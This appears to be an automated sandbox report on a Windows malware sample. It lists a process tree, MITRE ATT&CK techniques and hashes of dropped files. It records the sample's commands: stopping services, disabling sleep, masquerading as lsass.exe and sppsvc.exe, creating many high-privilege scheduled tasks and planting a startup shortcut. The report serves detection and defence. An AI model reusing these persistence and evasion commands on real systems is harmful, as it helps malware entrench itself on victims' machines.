  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:860
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2304
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:2180
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:328
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:2508
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:1780
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:2656

C:\Windows\system32\taskeng.exe
taskeng.exe {7C5E30B1-3ADF-42E9-BD51-BD7B674A3C25} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:Interactive:[1]
1⤵
PID:1824
- C:\ProgramData\WindowsSecurity.exe
  C:\ProgramData\WindowsSecurity.exe
  2⤵
  PID:2464
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:404
- C:\Users\Admin\AppData\Roaming\iurwevw
  C:\Users\Admin\AppData\Roaming\iurwevw
  2⤵
  PID:2472
- - C:\Users\Admin\AppData\Roaming\iurwevw
    C:\Users\Admin\AppData\Roaming\iurwevw
    3⤵
    PID:2840
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:3880
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:868
- C:\Windows\SysWOW64\0411\sppsvc.exe
  C:\Windows\SysWOW64\0411\sppsvc.exe
  2⤵
  PID:312
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:3412
- C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe
  "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe"
  2⤵
  PID:3888
- C:\Program Files (x86)\Windows Defender\lsass.exe
  "C:\Program Files (x86)\Windows Defender\lsass.exe"
  2⤵
  PID:3784
- C:\Users\Admin\AppData\Roaming\awrwevw
  C:\Users\Admin\AppData\Roaming\awrwevw
  2⤵
  PID:2560
- C:\Users\Admin\AppData\Roaming\iurwevw
  C:\Users\Admin\AppData\Roaming\iurwevw
  2⤵
  PID:3644
- - C:\Users\Admin\AppData\Roaming\iurwevw
    C:\Users\Admin\AppData\Roaming\iurwevw
    3⤵
    PID:4224
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:3364
- C:\Windows\SysWOW64\0411\sppsvc.exe
  C:\Windows\SysWOW64\0411\sppsvc.exe
  2⤵
  PID:4940
- C:\Recovery\d6b272a2-8f1b-11ee-9e28-7ed9061e9c39\cmd.exe
  C:\Recovery\d6b272a2-8f1b-11ee-9e28-7ed9061e9c39\cmd.exe
  2⤵
  PID:5016
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:4692
- C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe
  "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe"
  2⤵
  PID:4596
- C:\Program Files (x86)\Adobe\Reader 9.0\Esl\InstallSetup7.exe
  "C:\Program Files (x86)\Adobe\Reader 9.0\Esl\InstallSetup7.exe"
  2⤵
  PID:3740
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:3716
- C:\Windows\SysWOW64\0411\sppsvc.exe
  C:\Windows\SysWOW64\0411\sppsvc.exe
  2⤵
  PID:3476
- C:\Program Files (x86)\Windows Defender\lsass.exe
  "C:\Program Files (x86)\Windows Defender\lsass.exe"
  2⤵
  PID:3852
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:4160
- C:\Users\Admin\AppData\Roaming\iurwevw
  C:\Users\Admin\AppData\Roaming\iurwevw
  2⤵
  PID:1700
- C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe
  "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe"
  2⤵
  PID:4420
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
  2⤵
  PID:3656
- C:\Windows\SysWOW64\0411\sppsvc.exe
  C:\Windows\SysWOW64\0411\sppsvc.exe
  2⤵
  PID:4448
- C:\ProgramData\Microsoft\PSOBPDL.exe
  C:\ProgramData\Microsoft\PSOBPDL.exe
  2⤵
  PID:5944
- C:\Recovery\d6b272a2-8f1b-11ee-9e28-7ed9061e9c39\cmd.exe
  C:\Recovery\d6b272a2-8f1b-11ee-9e28-7ed9061e9c39\cmd.exe
  2⤵
  PID:5140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\Recovery\d6b272a2-8f1b-11ee-9e28-7ed9061e9c39\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\d6b272a2-8f1b-11ee-9e28-7ed9061e9c39\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Recovery\d6b272a2-8f1b-11ee-9e28-7ed9061e9c39\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Defender\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Defender\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "InstallSetup7I" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Esl\InstallSetup7.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "InstallSetup7" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Esl\InstallSetup7.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "InstallSetup7I" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Esl\InstallSetup7.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Windows\SysWOW64\0411\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\SysWOW64\0411\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Windows\SysWOW64\0411\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "windowsw" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "windows" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "windowsw" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3016

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240216030526.log C:\Windows\Logs\CBS\CbsPersist_20240216030526.cab
1⤵
PID:3116

C:\Windows\SysWOW64\cmd.exe
cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PoseidonSense.url" & echo URL="C:\Users\Admin\AppData\Local\GreenTech Innovations\PoseidonSense.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PoseidonSense.url" & exit
1⤵
PID:5032

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2884
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F8C0C23CDFD047C18C3F7122F02471A7 C
  2⤵
  PID:6092

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
1⤵
PID:5924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scripting

T1064

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Scripting

T1064

Credential Access

Discovery

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

InstallSetup7.exe

Path C:\Program Files (x86)\Adobe\Reader 9.0\Esl\InstallSetup7.exe
Size 64KB
SHA256 b22a379b8a3b02e718e364770b476fdc390bc3a8535b8b1806cbf548f3bb7f64
MD5 40c327469b6d3dfc4131aaeb4d08fff6
SHA1 82d860c0ddcfb3f395bc43750f7aee74f5b41436
SHA512 c89a896d90596df5c8af76d5307785c892b4da87a41b9554479bf8a3fb2f635307a8fc2678ba70181d036bd8e081a7cb2fa15d4d7af158db56cef6cbce7c6164
SSDEEP 768:P1C2jOL6a/BwTR5v5pPYThGGpGuqXVsWTP/LIexrNPoxJrnN:91oug8RVsCP/LIexrNPoxJrN
MD5 SHA1 SHA512 SSDEEP

Submit Download

Are.docx

Path C:\ProgramData\Are.docx
Size 11KB
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
SSDEEP 192:CtNCEE33S7Ok0CMSYbcBVk6tqM16iPBkeawLWdxd7o3Lp:aNwC78uYbcBv6akwLWdxdE3Lp
MD5 SHA1 SHA512 SSDEEP

Submit Download

mozglue.dll

Path C:\ProgramData\mozglue.dll
Size 593KB
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
SSDEEP 12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5 SHA1 SHA512 SSDEEP

Submit Download